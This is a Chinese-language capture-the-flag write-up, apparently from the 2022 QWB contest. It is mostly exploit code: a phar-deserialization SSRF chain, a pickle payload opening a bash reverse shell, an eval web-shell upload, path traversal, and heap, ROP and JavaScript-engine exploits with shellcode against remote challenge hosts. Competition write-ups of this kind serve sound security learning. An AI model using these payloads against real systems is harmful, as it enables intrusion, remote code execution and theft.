Web

babyweb

websocket

1. help: 帮助菜单 
2. changepw: 修改密码 示例: changepw 123456 
3. bugreport: 向管理员报告漏洞页面 示例: bugreport http://host:port/login

在 VPS 上构造上面这样的 1.html,然后让管理来访问,即bugreport http://vpsip/1.html

然后使用 admin/123登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag

easyweb

文件读取

http://47.104.95.124:8080/showfile.php?f=/demo.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/html/showfile.php
index.php
   <?php
    $upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload, 0333, true);
    if(isset($_POST['submit'])) {
        include 'upload.php';
    }
    ?>

upload.php

<?php
error_reporting(0);
require_once('class.php');
if(isset($_SESSION)){
    if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
        $_FILES["file"]["name"] = $_GET['fname'];
    }
    $upload = new Upload();
    $upload->upload();
}else {
    die("<p class='tip'>guest can not upload file</p>");
}
?>

showfile.php

<?php
error_reporting(0);
require_once('class.php');
$filename = $_GET['f'];
if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
    die("nop");
}
else{
    if(isset($_SESSION)){
        $show = new AdminShow($filename);
        $show->show();
    }else{
        if(preg_match('/guest|demo/i',$filename)) {
            $show = new GuestShow($filename);
            $show->show();
        }else{
            die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
        }
    }
}
?>

class.php

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}
class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {
        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}
class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";
    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

题目提示内部系统,因此猜测最终需要调用 AdminShow 的 show 方法去做 ssrf。先读了一下 /proc/net/arp,得到内网有两 IP: 10.10.10.1010.10.10.101

class.php中有一堆魔术方法,又存在文件上传和file_get_contents,因此只需构造 phar 反序列化,上传后触发即可。构造代码在最后贴出。

文件上传需要设置$_SESSION,这点可以通过设置PHP_SESSION_UPLOAD_PROGRESS搞定。

在反序列化时 AdminShow 类的__wakeup函数会设置 source 和 schema,从而让我们无法控制 ssrf 的地址,所以需要绕过__wakeup,利用CVE-2016-7124,改大个数。但是 phar 修改后上传报错。

搜索发现这篇文章中类似的题目 http://www.yongsheng.site/2022/05/14/phar/即修改类个数后需要重新计算签名

直接复制文章脚本计算新签名:

from hashlib import sha1
file = open("exp.jpg","rb").read()
text = file[:-28]  #读取开始到末尾除签名外内容
last = file[-8:]   #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时Sha1正确了。
open("exp2.jpg","wb").write(new_file)

然后上传,抓包加上 cookie 和 PHP_SESSION_UPLOAD_PROGRESS

再访问触发 phar 反序列化,得到内容

/showfile.php?f=phar://./3fddbdeeb265642d6506eb011d5f9dc6/sakai2.jpg/demo.txt 

分别读了一下, http://10.10.10.101/读不到没内容, http://10.10.10.10代码如下:

由于 curl 支持 file 协议,直接 ssrf 访问http://10.10.10.10/?url=file:///flag即可获得 flag

因为过程过于繁琐,写了个脚本,exp.php 如下:

<?php
//exp.php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
}
class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {
        $this->file=$file;
    }
}
class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
    }
}
$a = new AdminShow('aa');
$a->source='';
$a->schema=$argv[1];    //设置ssrf地址
$b = new GuestShow('aa');
$b->file=$a;
unlink('exp.jpg');
$phar = new Phar('phar.phar'); 
$phar -> startBuffering();
$phar -> setStub('GIF89a'." __HALT_COMPILER();?>");   //设置stub,增加gif文件头
$phar ->addFromString('demo.txt','test');  //添加要压缩的文件
$phar -> setMetadata($b);  //将自定义meta-data存入manifest
$phar -> stopBuffering();
rename('phar.phar','exp.jpg');

上传脚本 exp.py如下:

import requests
import os
from hashlib import sha1
import re
import base64
# target= 'http://10.10.10.10/?url=http://10.10.10.101/'
target = 'http://10.10.10.10/?url=file:///flag'
os.system('php exp.php {}'.format(target))
f1 = open('exp.jpg','rb').read()
file = f1.replace(b'"AdminShow":4',b'"AdminShow":5')
text = file[:-28]  # 读取开始到末尾除签名外内容
last = file[-8:]  # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last  # 生成新的文件内容,主要是此时Sha1正确了。
open('exp2.jpg', "wb").write(new_file)
cookiename="sakai"
url='http://47.104.95.124:8080/'
headers={
    "Cookie":'PHPSESSID='+cookiename
}
payload=open('exp2.jpg',"rb").read()
files={
    'file':("exp2.jpg",payload)
}
data={
    "PHP_SESSION_UPLOAD_PROGRESS":'xxx',
    'submit':'提交'
}
res=requests.post(url,files=files,data=data,headers=headers)
filepath = re.findall(r'upload\s{2}(.*)\ssuccess!',res.text)[0]
res = requests.get(url+'showfile.php?f=phar://'+filepath+'/demo.txt')
tmp = re.findall(r'<img src=data:jpg;base64,(.*) /><img src=data:jpg;base64, />',res.text)[0]
tmp = base64.b64decode(tmp)
# print(tmp)
with open('flag.html','wb') as f3:
    f3.write(tmp)
print('done')

crash

题目在 balancer 路由存在一个 pickle 反序列化 rce,过滤了 R,找了一下参考 https://www.163.com/dy/article/G6J7KHJP0538S33I.html,用如下 payload 可以反弹 shell

请求脚本:

import requests
import re
import base64
import pickle
from flask import Flask, make_response,request, session
import pickletools
url='http://47.93.187.169:13528/'
burp0_url=url+'login'
burp0_cookies = {"userdata": "gAJjX19tYWluX18KVXNlcgpxACmBcQF9cQIoWAgAAAB1c2VybmFtZXEDWAUAAABzYWthaXEEWAUAAAB0b2tlbnEFigiStsURvzkoAXViLg==", "session": "eyJwYXNzd29yZCI6IjEyMyJ9.YuTtrQ.7cLupb8BOqZV4kOwBqdVhJkxYUQ"}
burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"username": "sakai", "password": "123"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
session = res.headers['Set-Cookie'].split(';')[3].split(',')[1].strip()
realsession = session[8:]
realuserdata=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
print(base64.b64encode(realuserdata))
realuserdata=base64.b64encode(realuserdata).decode()
print(realuserdata)
burp0_url = url+"balancer"
burp0_cookies = {"userdata": realuserdata, "session": realsession}
burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(res.text)

由于题目说需要 504 页面,也就是需要网页超时,于是反弹 shell 后往服务器上传了一个 python 文件,代码如下:

import base64
from flask import Flask, make_response,request, session
import time
app = Flask(__name__,static_url_path='')
app.secret_key='hello'
@app.route('/',methods=['GET','POST'])
def flag():
    time.sleep(1000)
    return 'success'
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

然后跑起来

最后直接访问首页,即可超时获取 flag

强网先锋

rcefile

存在 www.zip 文件

注意到 config.inc.php 中存在 spl_autoload_register函数,又存在文件上传,于是可以上传一个 xxx.inc文件,其中有一个同名 xxx 类,在 cookie 反序列化时即可实现类自动加载执行,文件名写脚本上传即可,脚本如下:

import requests
import time
import hashlib
name = hashlib.md5(str(int(time.time())).encode()).hexdigest()
burp0_url = "http://eci-2ze69f1lybic2yim76dd.cloudeci1.ichunqiu.com/upload.php"
burp0_cookies = { "userfile": "a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229b6d4595f0e44610087536aea53546ce.png%22%3B%7D"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIA3mura5cNnbrw4S", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryIA3mura5cNnbrw4S\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sakai.inc\"\r\nContent-Type: image/png\r\n\r\n<?php \nclass "+name+"{\n    public function __wakeup(){\n        eval($_REQUEST['sakai']);\n    }\n}\r\n------WebKitFormBoundaryIA3mura5cNnbrw4S--\r\n"
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(res.text)

devnull

ret 的时候 rdx 正好是 7,把 rax 控制一下触发 mprotect,然后执行 shellcode

# -*- coding: utf-8 -*-
from pwn import *
#p=process('./devnull')
p=remote('123.56.105.22',13870)
elf=ELF('./devnull')
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
def debug():
    gdb.attach(p)
    pause()
def lg(name,val):
    log.success(name+' : '+hex(val))
#debug()
p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)#p32(0x4014D7)
#debug()
#0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
p.send(payload)
sleep(0.1)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
sleep(1)
p.sendline('exec 1>&2')
#debug()
p.interactive()

ASR

通过 yafu 分解得到质因数,网上找了个类似的脚本直接跑

from Crypto.Util.number import *
import time
from binascii import hexlify, unhexlify
def all_printable(s):
    for i in s:
        if i in range(0x20, 0x7f):
            continue
        else:
            return False
    return True
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
a1 = 225933944608558304529179430753170813347
a2 = 260594583349478633632570848336184053653
a3 = 218566259296037866647273372633238739089
a4 = 223213222467584072959434495118689164399
PR.<x> = PolynomialRing(Zmod(a1))
f1 = x ^ e - c
a1_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a2))
f1 = x ^ e - c
a2_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a3))
f1 = x ^ e - c
a3_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a4))
f1 = x ^ e - c
a4_roots = [int(i[0]) for i in f1.monic().roots()]
for aa1 in a1_roots:
    for aa2 in a2_roots:
        for aa3 in a3_roots:
            for aa4 in a4_roots:
                
                tmp_solve = long_to_bytes(CRT_list([aa1, aa2, aa3, aa4], [a1, a2, a3, a4]))
                if b'flag' in tmp_solve:
                   print(tmp_solve)
                
print("Down!")

polydiv

from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256
import time
context.log_level="debug"
p=remote('47.94.166.51',28033)
def brute_force(c,s):
    return bruteforce(lambda x:sha256((x+c).encode("utf-8")).hexdigest()==s,string.ascii_letters+string.digits,length=4)
#data=conn.recvline(keepends=False)
data=str(p.recvline(),encoding='utf-8')
p.recvuntil('XXXX:')
s=parse("sha256(XXXX+{}) == {}\n",data)
p.sendline(brute_force(s[int(0)],s[int(1)]))
for i in range(40):
    rx=p.recvline()[7:-1]
    ax=p.recvline()[7:-1]
    cx=p.recvline()[7:-1]
    p.recvline()
    r=sage_eval(str(rx)[2:-1],locals={'x':x})
    c=sage_eval(str(cx)[2:-1],locals={'x':x})
    a=sage_eval(str(ax)[2:-1],locals={'x':x})
    bx=(r-c)/a
    print(bx)
    p.sendlineafter('> b(x) = ',str(bx))
#     tmp=p.recvline()
    p.recvuntil('Success!\n')
p.recvlines(10)
p.recv(1024,timeout=1)

Pwn

houseofcat

一次打 house of apple,一次打 house of kiwi 触发 fsop

from pwn import*
#p=process('./house_of_cat')
p=remote('123.56.45.155',18302)
libc=ELF('./libc.so.6')
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
def debug():
    gdb.attach(p)
    pause()
def lg(name,val):
    log.success(name+' : '+hex(val))
def menu(idx):
    p.recvuntil('choice:\n')
    p.sendline(str(idx))
def add(idx,size,con):
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
    menu(1)
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
    p.recvuntil('size:\n')
    p.sendline(str(size))
    p.recvuntil('content:\n')
    p.send(con)
def delete(idx):
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
    menu(2)
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
def show(idx):
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
    menu(3)
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
def edit(idx, con):
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
    menu(4)
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
    p.recvuntil('content:\n')
    p.send(con)
 
p.recvuntil('mew mew mew~~~~~~\n')
p.send('LOGIN | r00t QWXFQWB QWXFadmin')
add(0,0x428,'aaa')
add(1,0x418,'aaa')
add(2,0x418,'aaa')
delete(0)
add(3,0x438,'aaa')
#debug()
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21a0d0
p.recv(10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
lg('libc.address',libc.address)
lg('heap_base',heap_base)
#debug()
rop_addr=heap_base+0x1790
fake_io1=p64(0)*5
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*5
fake_io1+=p64(rop_addr)
fake_io1+=p64(2) + p64(0xffffffffffffffff)
fake_io1+=p64(0) + p64(libc.address+0x21ba60)
fake_io1+=p64(0xffffffffffffffff) + p64(0)
fake_io1+=p64(heap_base+0x340)+p64(libc.address+0x00000000001675b0)
fake_io1+=p64(0)*2
fake_io1+=p64(1)
fake_io1+=p64(0)*2
fake_io1+=p64(libc.address+0x2160c0-0xc0-0x20)#io_wfile_jumps vtable
fake_io1+=p64(0)
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*0x5
fake_io1+=p64(libc.address+0x000000000007498c)
fake_io1+=p64(0)*0xe
fake_io1+=p64(heap_base+0x340)
#debug()
add(9,0x428,fake_io1)
#debug()
add(8,0x428,'a')
add(7,0x438,'a')
add(6,0x418,'a')
delete(6)
delete(7)
delete(8)
delete(9)
add(0xa, 0x438,'a')
delete(2)
#debug()
edit(0,p64(libc.address+0x21a0d0)*2+p64(heap_base+0x290)+p64(libc.sym['stderr']-0x20))
#debug()
ret=libc.address+0x00000000000f872e
fake_io2=p64(0)+p64(rop_addr)
fake_io2+=p64(1)+p64(0)
fake_io2+=p64(libc.sym['setcontext']+61)
fake_io2+=p64(0)*13
fake_io2+=p64(heap_base+0xae0)
fake_io2=fake_io2.ljust(0xa0,'\x00')
fake_io2+=p64(heap_base+0xb00)+p64(ret)
add(4,0x438,fake_io2)
pop_rdi=libc.address+0x000000000002a3e5
pop_rsi=libc.address+0x000000000002be51
pop_rdx_r12=libc.address+0x000000000011f497
pop_rax=libc.address+0x0000000000045eb0
syscall=libc.address+0x0000000000091396
#debug()
rop='./flag\x00\x00'+p64(0)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(3)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(heap_base+0xaf0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(1)
rop+=p64(syscall)
#debug()
add(5,0x418,rop)
edit(6,p64(0)+p64(0x133))
#debug()
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(1)
p.recvuntil('idx:\n')
p.sendline(str(0xf))
p.recvuntil('size:\n')
#debug()
p.sendline(str(0x430))

easychain1

(最后十分钟远程靶机连不上导致没有打通)

通过 bindiff 找到漏洞位于ecma_builtin_array_prototype_object_pop

当 array 对象进行 pop() 操作时,传入ecma_delete_fast_array_properties为 len-2,导致在内部将 array.length 刷新为 len-2:

uint32_t
ecma_delete_fast_array_properties (ecma_object_t *object_p, /**< fast access mode array */
                                   uint32_t new_length) /**< new length of the fast access mode array */
{
  ...
  ext_obj_p->u.array.length = new_length;
  ...
}                             

如果当前 array.length 为 1,在 array.pop() 执行完毕,array.length = -1,可以进行数组越界访问。

利用方法:在jerry_heap上伪造出一个 float 对象,使用 array 越界访问,通过 float 对象可以读取 jerry_heap 上的任意数据,这样可以 leak 出 pie 地址。然后构造两个存储 ArrayBuffer 的 DataView 对象,利用 array 越界修改 DataView1 的 length

然后通过 DataView1 修改 DataView2 的 buffer 指针进行任意读写,先通过 pie 计算 got 表地址 leak 出 libc 地址,再通过 environ 地址 leak stack 地址,最后在栈上返回地址布置 rop 链即可 getshell。

EXP 如下:(比赛结束后,靶机恢复了- -,测试脚本与远程交互时需要把 js 代码的换行删掉)

from pwn import *
context.log_level = 'debug'
p = process("./pwn")
#gdb.attach(p)
p.sendafter('pwn> ','''function f64_to_hex(f64v) {
    var x = new Float64Array(1);
    var y = new Uint8Array(x.buffer);
    x[0] = f64v;
    var hex_res = "0x";
    for (var i = 7; i > -1; i--) {
        hex_res += y[i].toString(16).padStart(2, "0");
    }
    return hex_res;
}
var tmp = []
for (var i=0;i<0x200;i++)
    tmp[i] = [0x1234];
var a = [0x2333];
var buffer = new ArrayBuffer(0x20)
data=new DataView(buffer,0,0x20)
var buffer2 = new ArrayBuffer(0x20)
data2=new DataView(buffer2,0,0x20)
var b = [0x6161,0x6262,0x6363,0x6464,a];
r = new ArrayBuffer(0x20);
var w = new Uint32Array(r);
var magic = 0x62
w[0] = 43<<3|2;
a.pop();
c = a[magic]
var pie = parseInt(f64_to_hex(c))
print(pie)
a[0x35] = 0x100
data.setUint32(0xc8,(pie+0x28641-0x10)&0xffffffff, true)
data.setUint32(0xc8+4,pie/0x100000000, true)
libc_base=data2.getUint32(0,true)+data2.getUint32(4,true)*0x100000000-0x61c90
print(libc_base)
data.setUint32(0xc4,0x3000, true)
data.setUint32(0xc8,(libc_base+0x1ed3a0)&0xffffffff, true)
data.setUint32(0xc8+4,(libc_base+0x1ed3a0)/0x100000000, true)
stack=data2.getUint32(0x2260,true)+data2.getUint32(0x2260+4,true)*0x100000000
print(stack)
data.setUint32(0xc8,(stack-0x148)&0xffffffff, true)
data.setUint32(0xc8+4,(stack-0x148)/0x100000000, true)
data2.setUint32(0x30,(libc_base+0x23b6b)&0xffffffff, true)
data2.setUint32(0x34,(libc_base+0x23b6b)/0x100000000, true)
data2.setUint32(0x38,(libc_base+0x23b6a)&0xffffffff, true)
data2.setUint32(0x3c,(libc_base+0x23b6a)/0x100000000, true)
data2.setUint32(0x40,(libc_base+0x1b45bd)&0xffffffff, true)
data2.setUint32(0x44,(libc_base+0x1b45bd)/0x100000000, true)
data2.setUint32(0x48,(libc_base+0x52290)&0xffffffff, true)
data2.setUint32(0x4c,(libc_base+0x52290)/0x100000000, true)''')
p.interactive()

yakagame

漏洞点在于自己添加函数,然后把他加入 weaponlist 时,使用的 idx 索引和之前的 unisgned int8 不一样,是 char 类型的,这导致超过 127 时,会变成负数

修改数组前面区域的内容,修改 score 指针,让他指向满足条件的地址就行,需要爆破,然后将 cmd 里的内容变成 cat flag

#include <stdio.h>
void fight(int a){};
void merge(int a,int b){};
void destroy(int a){};
void upgrade(int a){};
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};
void a0(int a);
void a1(int a);
void ……(由于篇幅省略)
void a8(int a);
void a9(int a);
void b0(int a);
void b1(int a);
void ……(由于篇幅省略)
void b8(int a);
void b9(int a);
void c0(int a);
void c1(int a);
void ……(由于篇幅省略)
void c8(int a);
void c9(int a);
void d0(int a);
void d1(int a);
void ……(由于篇幅省略)
void d8(int a);
void d9(int a);
……………………
void y0(int a);
void y1(int a);
void ……(由于篇幅省略)
void y8(int a);
void y9(int a);
void z0(int a);
void z1(int a);
void z2(int a);
void z3(int a);
void z4(int a);
void gamestart()
{
    tiandongwanxiang();
    wuxiangdeyidao();
    guobapenhuo();
    wuxiangdeyidao();
    
    a0(0);
    a1(0);
    ……
    a8(0);
    a9(0);
    b0(0);
    b1(0);
    ……
    b8(0);
    b9(0);
    c0(0);
    c1(0);
    ……
    c8(0);
    c9(0);
    d0(0);
    d1(0);
    ……(由于篇幅省略qaq)
    x8(0);
    x9(0);
    y0(0);
    y1(0x59);
    y2(0);
    ……
    y8(0);
    y9(0);
    z0(0);
    z1(0);
    ……
    z8(0);
    z9(0);
    
    y1(0xab);
    fight(0);
}

Revers

find_basic

去混淆脚本

from idc import *
from capstone import *
from keystone import *
md = Cs(CS_ARCH_X86, CS_MODE_32)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
new_code_ea = 0x96150
new_code = b''
def mydis(code, addr=0):
    for i in md.disasm(code, addr):
        return ('%s %s' %(i.mnemonic, i.op_str))
def myasm(dis_txt, addr=0):
    encoding, count = ks.asm(dis_txt, addr=addr)
    return bytes(encoding)
start_ea = 0x48F4
end_ea = 0x61B6
class Block:
    def __init__(self, start_ea, end_ea, imm, reg, call_target):
        self.start_ea = start_ea
        self.end_ea = end_ea
        self.imm = imm
        self.reg = reg
        self.call_target = call_target
regnums = []
def get_block(start_ea):
    global new_code, new_code_ea
    mnem_list = ['pushf', 'pusha', 'mov', 'call', 'pop']
    ea = start_ea
    i = 0
    while i < 5:
        mnem = idc.print_insn_mnem(ea)
        if mnem_list[i%5] != mnem:
            if i%5 == 0:
                if ea == 0x4915:
                    dis = 'mov ebx, 0x491a'
                else:
                    dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
                new_code += myasm(dis, new_code_ea + len(new_code))
                #print('ea=%x, dis=%s' %(ea, dis))
                ea += idc.get_item_size(ea)
                start_ea = ea
                continue
            #print('ea=%x, mnem=%s' %(ea, mnem))
            raise 0
        if mnem == 'mov':
            imm = idc.get_operand_value(ea, 1)
            # 17 -> cl, 18 -> dl, 19 -> bl
            reg = idc.get_operand_value(ea, 0) #reg_id
            '''
            if reg not in regnums:
                print ('reg=%s, ea=%x' %(reg, ea))
                regnums.append(reg)
            '''
        if mnem == 'call':
            call_target = idc.get_operand_value(ea, 0)
        i += 1
        ea += idc.get_item_size(ea)
    return Block(start_ea, ea, imm, reg, call_target)
def get_real_code(block):
    global new_code, new_code_ea
    ea = block.call_target
    while True:
        mnem = idc.print_insn_mnem(ea)
        if mnem == 'cmp':
            reg = idc.get_operand_value(ea, 0)
            imm = idc.get_operand_value(ea, 1)
            if (reg == block.reg) & (imm ==  block.imm):
                break
        ea += idc.get_item_size(ea)
    ea += idc.get_item_size(ea)
    mnem = idc.print_insn_mnem(ea)
    if mnem != 'jnz':
        assert 0
    ea += idc.get_item_size(ea)
    mnem = idc.print_insn_mnem(ea)
    if mnem != 'popa':
        assert 0
    ea += idc.get_item_size(ea)
    mnem = idc.print_insn_mnem(ea)
    if mnem != 'popf':
        assert 0
    if ea == 0x45CD:
        print ('ea=0x45ce: dis=retn')
        new_code += b'\xc3'
        return
    while True:
        ea += idc.get_item_size(ea)
        mnem = idc.print_insn_mnem(ea)
        if mnem == 'jmp':
            break
        dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
        print ('block=%x, ea=%x, dis=%s' %(block.start_ea, ea, dis))
        new_code += myasm(dis, new_code_ea+len(new_code))
funs = []
ea = start_ea
count = 0
while ea < end_ea:
    myblock = get_block(ea)
    print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
    get_real_code(myblock)
    count += 1
    ea = myblock.end_ea
    if myblock.call_target not in funs:
        funs.append(myblock.call_target)
print ('count=%d' %count)
#for i in range(new_code_ea, new_code_ea+len(new_code)):
#    del_items(i)
ea = 0x48C8
end_ea = 0x48F3
while ea < end_ea:
    myblock = get_block(ea)
    print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
    get_real_code(myblock)
    ea = myblock.end_ea
ida_bytes.patch_bytes(new_code_ea, new_code+b'\xc3')
'''
for fun in funs:
    print ('fun=%x' %fun)
print (len(funs))
print ('finish')
'''

去混淆后的 idb

basic 部分:

是一个方程组直接上 z3

from z3 import *
flag = [BitVec('x%d' % i, 8) for i in range(28)]
s = Solver()
v5 = 40085 * flag[3]- 222506 * flag[2]+ 54507 * flag[4]+ 88056 * flag[1]+ 212571 * flag[5]- 160722 * flag[0]-0x6A31D
s.add(v5==0)
v5 = 49300 * flag[3]+ 259229 * flag[0]+ 278066 * flag[2]- 127937 * flag[1]- 295169 * flag[4]- 8368677
s.add(v5==0)
v5 = 42214 * flag[1]- 108025 * flag[3]+ 205972 * flag[0]+ 27559 * flag[2]- 17114904
s.add(v5==0)
v5 = - 151496 * flag[1]+ 204740 * flag[0]+ 80143 * flag[2]- 12295783
s.add(v5==0)
